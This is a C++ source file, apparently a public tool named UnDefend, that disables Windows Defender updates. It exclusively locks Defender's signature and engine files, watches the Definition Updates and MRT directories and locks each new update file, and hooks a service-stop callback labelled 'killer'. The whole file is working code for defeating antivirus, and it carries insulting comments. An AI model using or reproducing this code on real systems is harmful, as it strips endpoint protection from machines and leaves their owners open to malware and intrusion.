UnDefend.cpp 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #include <Windows.h>
  3. #include <stdio.h>
  4. #include <winternl.h>
  5. #include <ntstatus.h>
  6. #include <conio.h>
  7. #include <objbase.h>
  8. #pragma comment(lib,"ntdll.lib")
  9. HANDLE* gHandleTracker = NULL;
  10. CRITICAL_SECTION* gHandleTrackerLock;
  11. wchar_t gbackupfile1[MAX_PATH] = { 0 };
  12. wchar_t gbackupfile2[MAX_PATH] = { 0 };
  13. struct UpdThreadObj {
  14. wchar_t* wdupdatedir;
  15. wchar_t* target;
  16. };
  17. void AddHandle(HANDLE hlock)
  18. {
  19. // shit code but works i guess
  20. static unsigned int handlecount = 0;
  21. EnterCriticalSection(gHandleTrackerLock);
  22. HANDLE* ntracker = (HANDLE*)malloc((++handlecount + 1) * sizeof(HANDLE));
  23. if (gHandleTracker)
  24. {
  25. memmove(ntracker, gHandleTracker, handlecount * sizeof(HANDLE));
  26. }
  27. ntracker[handlecount - 1] = hlock;
  28. ntracker[handlecount] = NULL;
  29. if (gHandleTracker)
  30. free(gHandleTracker);
  31. gHandleTracker = ntracker;
  32. LeaveCriticalSection(gHandleTrackerLock);
  33. }
  34. void TryLockBackup() {
  35. static HANDLE hlock1 = NULL;
  36. static HANDLE hlock2 = NULL;
  37. if (hlock1 && hlock2)
  38. return;
  39. UNICODE_STRING unistr = { 0 };
  40. OBJECT_ATTRIBUTES objattr = { 0 };
  41. RtlInitUnicodeString(&unistr, gbackupfile1);
  42. InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
  43. IO_STATUS_BLOCK iostat = { 0 };
  44. NTSTATUS ntstat = STATUS_SUCCESS;
  45. if (!hlock1)
  46. ntstat = NtCreateFile(&hlock1, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL);
  47. RtlInitUnicodeString(&unistr, gbackupfile2);
  48. if (!hlock2)
  49. ntstat = NtCreateFile(&hlock2, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL);
  50. LARGE_INTEGER li2 = { 0 };
  51. if (hlock1) {
  52. LARGE_INTEGER li = { 0 };
  53. GetFileSizeEx(hlock1, &li);
  54. OVERLAPPED ov = { 0 };
  55. LockFileEx(hlock1, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov);
  56. printf("File \"%ws\" was locked.\n", &gbackupfile2[4]);
  57. AddHandle(hlock1);
  58. }
  59. if (hlock2)
  60. {
  61. LARGE_INTEGER li = { 0 };
  62. GetFileSizeEx(hlock2, &li);
  63. OVERLAPPED ov = { 0 };
  64. LockFileEx(hlock2, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov);
  65. printf("File \"%ws\" was locked.\n", &gbackupfile2[4]);
  66. AddHandle(hlock2);
  67. }
  68. return;
  69. }
  70. DWORD WINAPI UpdateBlockerThread(UpdThreadObj* argv)
  71. {
  72. wchar_t fpath[MAX_PATH] = { 0 };
  73. wchar_t _fpath[MAX_PATH] = { 0 };
  74. wcscpy(fpath, argv->wdupdatedir);
  75. wcscat(fpath, L"\\");
  76. wcscat(fpath, argv->target);
  77. free(argv->target);
  78. delete argv;
  79. DWORD index = 0;
  80. HANDLE hlock = NULL;
  81. UNICODE_STRING target = { 0 };
  82. OBJECT_ATTRIBUTES objattr = { 0 };
  83. CLSID tmp = { 0 };
  84. NTSTATUS stat = STATUS_SUCCESS;
  85. IO_STATUS_BLOCK iostat = { 0 };
  86. wchar_t mx[40] = { 0 };
  87. /*
  88. for (int i = wcslen(fpath); i > 0; i--) {
  89. if (fpath[i] == L'\\')
  90. {
  91. if (wcslen(fpath) > 99)
  92. {
  93. memmove(mx, &fpath[i - 38], 38 * sizeof(wchar_t));
  94. break;
  95. }
  96. else if (wcslen(fpath) > 67)
  97. {
  98. memmove(mx, &fpath[i - 6], 6 * sizeof(wchar_t));
  99. break;
  100. }
  101. break;
  102. }
  103. }
  104. wchar_t __cmp[7] = { 0 };
  105. memmove(__cmp, mx, 6 * sizeof(wchar_t));*/
  106. if (1/*(!CLSIDFromString(mx, &tmp)) || _wcsicmp(__cmp, L"Backup") == 0*/)
  107. {
  108. printf("Found path : \"%ws\"\n", fpath);
  109. wcscpy(_fpath, L"\\??\\");
  110. wcscat(_fpath, fpath);
  111. RtlInitUnicodeString(&target, _fpath);
  112. InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL);
  113. IO_STATUS_BLOCK iostat = { 0 };
  114. do {
  115. stat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, NULL);
  116. if (stat == STATUS_NOT_FOUND || stat == STATUS_OBJECT_NAME_NOT_FOUND || stat == STATUS_OBJECT_PATH_NOT_FOUND)
  117. return stat;
  118. } while (stat);
  119. LARGE_INTEGER li = { 0 };
  120. GetFileSizeEx(hlock, &li);
  121. LARGE_INTEGER offset = { 0,0 };
  122. if (!LockFile(hlock, offset.LowPart, offset.HighPart, li.LowPart, li.HighPart))
  123. {
  124. printf("LockFile failed, error : %d\n", GetLastError());
  125. }
  126. printf("File \"%ws\" was locked.\n", fpath);
  127. AddHandle(hlock);
  128. }
  129. return ERROR_SUCCESS;
  130. }
  131. VOID WDKillerCallback(IN PVOID pParameter)
  132. {
  133. printf("Windows defender stopped...\n");
  134. PSERVICE_NOTIFY psny = (PSERVICE_NOTIFY)pParameter;
  135. SC_HANDLE hsvc = (SC_HANDLE)psny->pContext;
  136. DWORD requiredbytes = 0;
  137. QueryServiceConfig(hsvc, NULL, NULL, &requiredbytes);
  138. if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
  139. {
  140. printf("Failed to query windows defender service configuration, error : %d\n", GetLastError());
  141. return;
  142. }
  143. LPQUERY_SERVICE_CONFIG svccfg = (LPQUERY_SERVICE_CONFIG)malloc(requiredbytes);
  144. if (!QueryServiceConfig(hsvc, svccfg, requiredbytes, &requiredbytes))
  145. {
  146. printf("Failed to query windows defender service configuration, error : %d\n", GetLastError());
  147. return;
  148. }
  149. svccfg->lpBinaryPathName[wcslen(svccfg->lpBinaryPathName) - 1] = NULL;
  150. wchar_t* binpath = &svccfg->lpBinaryPathName[1];
  151. /*
  152. wchar_t dllpath[MAX_PATH] = { 0 };
  153. memmove(dllpath, binpath, wcslen(binpath) * sizeof(wchar_t) - (11 * sizeof(wchar_t)));
  154. wcscat(dllpath, L"MpSvc.dll");
  155. printf("%ws\n", dllpath);
  156. */
  157. HKEY wdkey = NULL;
  158. if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates", NULL, KEY_READ, &wdkey) || !wdkey)
  159. {
  160. printf("Failed to open windows defender key.\n");
  161. return;
  162. }
  163. wchar_t sigpath[MAX_PATH] = { 0 };
  164. DWORD retsz = sizeof(sigpath);
  165. //TODO : Check if this returns a properly null terminated string
  166. DWORD retcode = RegQueryValueEx(wdkey, L"SignatureLocation", NULL, NULL, (LPBYTE)sigpath, &retsz);
  167. RegCloseKey(wdkey);
  168. wdkey = NULL;
  169. if (retcode)
  170. {
  171. printf("Failed to find windows defender signature path.\n");
  172. return;
  173. }
  174. wcscat(sigpath, L"\\mpavbase.vdm");
  175. wchar_t _sigpath[MAX_PATH] = { 0 };
  176. wcscpy(_sigpath, L"\\??\\");
  177. wcscat(_sigpath, sigpath);
  178. UNICODE_STRING unistr = { 0 };
  179. RtlInitUnicodeString(&unistr, _sigpath);
  180. OBJECT_ATTRIBUTES objattr = { 0 };
  181. InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
  182. IO_STATUS_BLOCK iostat = { 0 };
  183. // if you are reading this, you are autistic.
  184. HANDLE hlock = NULL;
  185. NTSTATUS ntstat = STATUS_SUCCESS;
  186. ntstat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL);
  187. if (ntstat)
  188. {
  189. printf("Failed to open engine file \"%ws\", error : 0x%0.8X\n", unistr.Buffer, ntstat);
  190. return;
  191. }
  192. LARGE_INTEGER li = { 0 };
  193. LARGE_INTEGER li2 = { 0 };
  194. GetFileSizeEx(hlock, &li);
  195. OVERLAPPED ov = { 0 };
  196. LockFileEx(hlock, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov);
  197. printf("File locked.\n");
  198. free(svccfg);
  199. AddHandle(hlock);
  200. return;
  201. }
  202. DWORD WINAPI WDKillerThread(void*)
  203. {
  204. SC_HANDLE hsvc = NULL;
  205. SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
  206. if (!scmgr)
  207. {
  208. printf("Failed to open service manager, error : %d\n", GetLastError());
  209. return 1;
  210. }
  211. hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
  212. CloseServiceHandle(scmgr);
  213. if (!hsvc)
  214. {
  215. printf("Failed to open WinDefend service, error : %d\n", GetLastError());
  216. return 1;
  217. }
  218. SERVICE_STATUS svcstat = { 0 };
  219. if (!QueryServiceStatus(hsvc, &svcstat) || svcstat.dwCurrentState != SERVICE_RUNNING)
  220. {
  221. printf("Windows Defender isn't running, exiting...");
  222. CloseHandle(hsvc);
  223. ExitProcess(ERROR_SUCCESS);
  224. }
  225. while (1) {
  226. SERVICE_NOTIFY_2W svcnotify = { 0 };
  227. svcnotify.dwVersion = SERVICE_NOTIFY_STATUS_CHANGE;
  228. svcnotify.pfnNotifyCallback = WDKillerCallback;
  229. svcnotify.pContext = hsvc;
  230. if (NotifyServiceStatusChangeW(hsvc,
  231. SERVICE_NOTIFY_STOPPED, &svcnotify))
  232. {
  233. printf("Failed to set a notification for windows defender status.\n");
  234. CloseHandle(hsvc);
  235. return 1;
  236. }
  237. printf("Registered callback for Windows Defender status change.\n");
  238. SleepEx(INFINITE, TRUE);
  239. }
  240. CloseHandle(hsvc);
  241. return 0;
  242. }
  243. DWORD WINAPI MRTWorkerThread(void*) {
  244. wchar_t wdpath[MAX_PATH] = { 0 };
  245. wchar_t _wdupdatedir[] = { L"\\??\\C:\\Windows\\System32\\MRT"};
  246. UNICODE_STRING target = { 0 };
  247. RtlInitUnicodeString(&target, _wdupdatedir);
  248. OBJECT_ATTRIBUTES objattr = { 0 };
  249. IO_STATUS_BLOCK iostat = { 0 };
  250. HANDLE hmonitordir = NULL;
  251. DWORD retbytes = 0;
  252. InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL);
  253. NTSTATUS stat = STATUS_SUCCESS;
  254. do {
  255. Sleep(10);
  256. stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
  257. FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL);
  258. } while (stat == STATUS_OBJECT_NAME_NOT_FOUND);
  259. if (stat || !hmonitordir)
  260. {
  261. printf("Failed to open MRT directory, error : 0x%0.8X\n",stat);
  262. return 1;
  263. }
  264. char notifydata[0x1000] = { 0 };
  265. do {
  266. if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL))
  267. {
  268. printf("Failed to set directory watcher.\n");
  269. return 1;
  270. }
  271. FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata;
  272. if (fni->Action != FILE_ACTION_MODIFIED)
  273. continue;
  274. //printf("Notify triggered.\n");
  275. UpdThreadObj* threadargv = new UpdThreadObj;
  276. threadargv->wdupdatedir = &_wdupdatedir[4];
  277. fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL;
  278. wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t));
  279. ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)));
  280. wcscpy(target, fni->FileName);
  281. threadargv->target = target;
  282. DWORD tid = 0;
  283. // TODO : track thread creation
  284. HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid);
  285. } while (1);
  286. return ERROR_SUCCESS;
  287. }
  288. int wmain()
  289. {
  290. DWORD tid2 = 0;
  291. wchar_t updatedir[MAX_PATH] = { 0 };
  292. HKEY wdkey = NULL;
  293. wchar_t wdpath[MAX_PATH] = { 0 };
  294. wchar_t wdupdatedir[MAX_PATH] = { 0 };
  295. wchar_t _wdupdatedir[MAX_PATH] = { 0 };
  296. DWORD retsz = sizeof(wdpath);
  297. DWORD retbytes = 0;
  298. DWORD retcode = 0;
  299. HANDLE hmonitordir = NULL;
  300. NTSTATUS stat = STATUS_SUCCESS;
  301. UNICODE_STRING target = { 0 };
  302. OBJECT_ATTRIBUTES objattr = { 0 };
  303. IO_STATUS_BLOCK iostat = { 0 };
  304. gHandleTrackerLock = new CRITICAL_SECTION;
  305. InitializeCriticalSection(gHandleTrackerLock);
  306. HANDLE wdkiller = NULL;
  307. if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender", NULL, KEY_READ, &wdkey) || !wdkey)
  308. {
  309. printf("Failed to open windows defender key.\n");
  310. return 1;
  311. }
  312. //TODO : Check if this returns a properly null terminated string
  313. retcode = RegQueryValueEx(wdkey, L"ProductAppDataPath", NULL, NULL, (LPBYTE)wdpath, &retsz);
  314. RegCloseKey(wdkey);
  315. wdkey = NULL;
  316. if (retcode)
  317. {
  318. printf("Failed to find windows defender installation path.\n");
  319. return 1;
  320. }
  321. wcscpy(wdupdatedir, wdpath);
  322. wcscat(wdupdatedir, L"\\Definition Updates");
  323. wcscpy(_wdupdatedir, L"\\??\\");
  324. wcscat(_wdupdatedir, wdupdatedir);
  325. wcscpy(gbackupfile1, _wdupdatedir);
  326. wcscpy(gbackupfile2, _wdupdatedir);
  327. wcscat(gbackupfile1, L"\\Backup\\mpavbase.lkg");
  328. wcscat(gbackupfile2, L"\\Backup\\mpavbase.vdm");
  329. TryLockBackup();
  330. wdkiller = CreateThread(NULL, NULL, WDKillerThread, NULL, NULL, &tid2);
  331. // run in killer mode
  332. // WaitForSingleObject(wdkiller,INFINITE);
  333. //
  334. HANDLE mrtkiller = CreateThread(NULL, NULL, MRTWorkerThread, NULL, NULL, &tid2);
  335. if (!wdkiller)
  336. {
  337. printf("Failed to create defender killer thread.\n");
  338. }
  339. if (!mrtkiller)
  340. {
  341. printf("Failed to create MRT killer thread.\n");
  342. }
  343. RtlInitUnicodeString(&target, _wdupdatedir);
  344. InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL);
  345. stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
  346. FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL);
  347. if (stat || !hmonitordir)
  348. {
  349. printf("Failed to open windows defender update directory.\n");
  350. return 1;
  351. }
  352. //WaitForSingleObject(gevent, INFINITE);
  353. char notifydata[0x1000] = { 0 };
  354. do {
  355. if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL))
  356. {
  357. printf("Failed to set directory watcher.\n");
  358. return 1;
  359. }
  360. FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata;
  361. if (fni->Action != FILE_ACTION_MODIFIED)
  362. continue;
  363. //printf("Notify triggered.\n");
  364. UpdThreadObj* threadargv = new UpdThreadObj;
  365. threadargv->wdupdatedir = wdupdatedir;
  366. fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL;
  367. wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t));
  368. ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)));
  369. wcscpy(target, fni->FileName);
  370. threadargv->target = target;
  371. DWORD tid = 0;
  372. // TODO : track thread creation
  373. HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid);
  374. } while (1);
  375. CloseHandle(hmonitordir);
  376. return 0;
  377. }